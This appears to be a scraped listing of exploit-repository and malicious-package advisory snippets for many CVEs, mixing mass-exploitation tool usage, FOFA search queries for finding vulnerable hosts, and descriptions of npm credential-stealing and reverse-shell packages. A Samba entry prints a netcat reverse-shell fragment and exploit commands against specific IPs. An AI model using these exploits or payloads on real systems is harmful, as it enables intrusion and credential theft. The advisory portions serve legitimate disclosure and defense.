CVE-2020-7961-Mass

CVE-2020-7961-Mass CVE-2020–7961 Exploit masivo para Script Kiddies Probado en: Kali Linux, Windows,... Requisitos: apt install python3 pip3 install requests colorama Uso: python3 rce.py target url | Para un solo objetivo python3 mass.py list url | Para una lista de objetivos Saved file to:...

cve-2021-3157

cve-2021-3156 脚本小子竟是我自己?...

CVE-2020-19360

CVE-2020-19360 Fhem任意文件读取poc FOFA搜索 title=="Home, Sweet Home" Usage: python3 Fhem.py -h python3 Fhem.py -u http://www.example.com 单个url测试 python3 Fhem.py -f url.txt 批量检测 提示 完成扫描后会在目录内自动生成存在漏洞的vulable.txt文件 免责声明 由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。...

weblogicPoc

weblogicPoc POC y EXP para vulnerabilidades de Weblogic: cve-2020-2551, cve-2020-2555, cve-2020-2883, ... Patch CVE-2020-2551 Al actualizar la versión original https://github.com/Y4er/CVE-2020-2551.git se encontró el problema de que el servidor con dirección privada no puede conectarse directamen...

heartbleed

Patrik Karlsson ha implementado ssl-heartbleed y lo ha commiteado en svn.nmap.org. Puedes obtenerlo desde https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse. Tienen una discusión aquí: http://seclists.org/nmap-dev/2014/q2/22 . Obtén más detalles desde http://heartbleed.com Crédito al autor de...

CVE-2025-65442-DOM-based-Cross-Site-Scripting-XSS-Vulnerability-in-novel-V3.5.0-CWE-79-

Target:http://117.72.165.13:8888/ Github:https://github.com/201206030/novel Version:V3.5.0 Vulnerability Name:DOM-based Cross-Site Scripting XSS Vulnerability in novel V3.5.0 CWE-79 Vulnerability Type: DOM-based Cross-Site Scripting DOM-based XSS Discovery Date: 2025-11-02 Vulnerability Details:...

CVE-2007-2447

CVE-2007-2447 PoC: Ejecución remota de comandos "usermap script" de Samba CVE histórico. Este repositorio contiene un pequeño script de prueba de concepto para investigación y revisión educativa. El script principal es usermapscriptCommandExecution.py. Referencia:...

Malicious code in simple-date-formatter-new-16 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5e57e9eff2fae987a2a23e3107d64c818e020b03380e31d6a3ae9cf8d4eb14ec package.json declares a postinstall lifecycle script that pipes a string-reversed shell one-liner through rev | bash, decoding to a bash reverse shel...

CVE-2026-96515

This vulnerability exists in the Netlink ICT HG323RW router due to insufficient authorization and input validation controls in the diagnostic script import functionality. An authenticated attacker could exploit this vulnerability by uploading and executing a specially crafted script through the w...

Malicious code in simple-date-formatter-new-14 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cbe2adf4e9d3b54b33c0e80285a5b0eb4d81dfde75c7a5b7a202ac43793268cd The package presents itself as a date-formatting utility index.js is a 160-byte formatDate stub but the published tarball contains an SSH-key...

Malicious code in simple-date-formatter-new-13 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8f295d4208d67cbb14c8804b287109ad5ed7946e39f0256e601f846e485c6c54 [email protected] presents itself as a date-formatting utility but ships a trivial three-line stub while its package.json postinstal...

Malicious code in simple-date-formatter-new-15 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 005b96d3c3d5f1a071c40a8b72ea22b5e0221db32cfffacfc8f2343f0ee97eb0 The package's package.json postinstall script curls cloud instance-metadata endpoints AWS IMDS at 169.254.169.254/latest/meta-data/sts-credential,...

Malicious code in simple-date-formatter-new-11 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 10e00618100992f74fd0b4c908be0db1c3e13de1b37ae9dc5952b7836f564042 Package presents itself as a date-formatting utility but performs credential theft against the installer through two channels. The postinstall script...

Malicious code in @nf-addons/am-global-header (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5f4f7297a2ae76eee65506183462a7138df6115ee2bfad9c84878b7f3c7998c8 The package's install lifecycle script runs node index.js, which loads runtime/support/telemetry/probe/impl.js. That module reads os.userInfo.usernam...

CVE-2023-1545-POC

Descripción general Esto contiene un script de prueba de concepto para CVE-2023-1545 en Teampass El informe original que contenía el POC se hizo privado, por lo que este se ha subido como referencia para aquellos que pudieran haber perdido el original. No me atribuyo ningún mérito por la creación...

CVE-2025-55182-NSE

Nmap scripting engine .nse para CVE-2025-55182 ASCII art unchanged Cómo usar nmap -p 80,443 --script ./CVE-2025-55182.nse meow.com -d p/d: codifiqué esta mierda a lo vibe en unos 5 minutos, aún no la he probado...

CVE-2022-41544

CVE-2022-41544 Script de exploit para CVE-2022-41544 - RCE en get-simple CMS Uso Usage: python3 CVE-2022-41544.py Ejemplo...

CVE-2023-41425

CVE-2023-41425 CVE-2023-41425 es una vulnerabilidad XSS reflejado en Wonder CMS que permite ejecutar código arbitrario a través de un script malicioso mediante el componente installModule. Uso Ejecutando el exploit contra la loginURL del objetivo, especificando nuestra IP y puerto para el servido...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Uso Explotar objetivo 10.129.232.46 en el puerto 445, enviar reverse shell a 10.10.14.82 en el puerto 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 Con rport y lport personalizados python3 CVE-2007-2447.py --rhost...

CVE-2020-10199-10204

CVE-2020-10199-10204 http://1984-0day.com python3 poc.py -i 127.0.0.1 -p 8081 -c cookie -csrf csrf-token parse = argparse.ArgumentParser parse.addargument'-i', '--ip', help='ip' parse.addargument'-p', '--port', default='8081', help='port' parse.addargument'-c', '--cookie', help='HTTP cookie'...